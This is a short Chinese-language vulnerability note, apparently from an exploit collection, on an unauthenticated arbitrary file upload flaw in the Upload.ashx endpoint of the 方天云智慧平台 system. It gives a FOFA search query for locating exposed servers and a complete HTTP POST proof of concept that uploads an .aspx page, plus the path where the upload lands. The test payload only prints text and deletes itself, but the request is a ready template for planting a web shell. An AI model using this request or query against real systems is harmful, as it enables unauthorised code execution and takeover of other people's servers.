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方天云智慧平台系统Upload.ashx存在任意文件上传漏洞.md

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方天云智慧平台系统Upload.ashx存在任意文件上传漏洞

方天云智慧平台系统 Upload.ashx 接口处存在任意文件上传漏洞，未经身份验证的攻击者可通过该漏洞在服务器端任意执行代码，写入后门，获取服务器权限，进而控制整个 web 服务器。

fofa

body="AjaxMethods.asmx/GetCompanyItem"

poc

POST /Upload.ashx HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySl8siBbmVicABvTX
Connection: close
 
------WebKitFormBoundarySl8siBbmVicABvTX
Content-Disposition: form-data; name="file"; filename="qwe.aspx"
Content-Type: image/jpeg
 
<%@Page Language="C#"%><%Response.Write("hello");System.IO.File.Delete(Request.PhysicalPath);%>
------WebKitFormBoundarySl8siBbmVicABvTX--

img

文件路径：/UploadFile/CustomerFile/回显的路径

img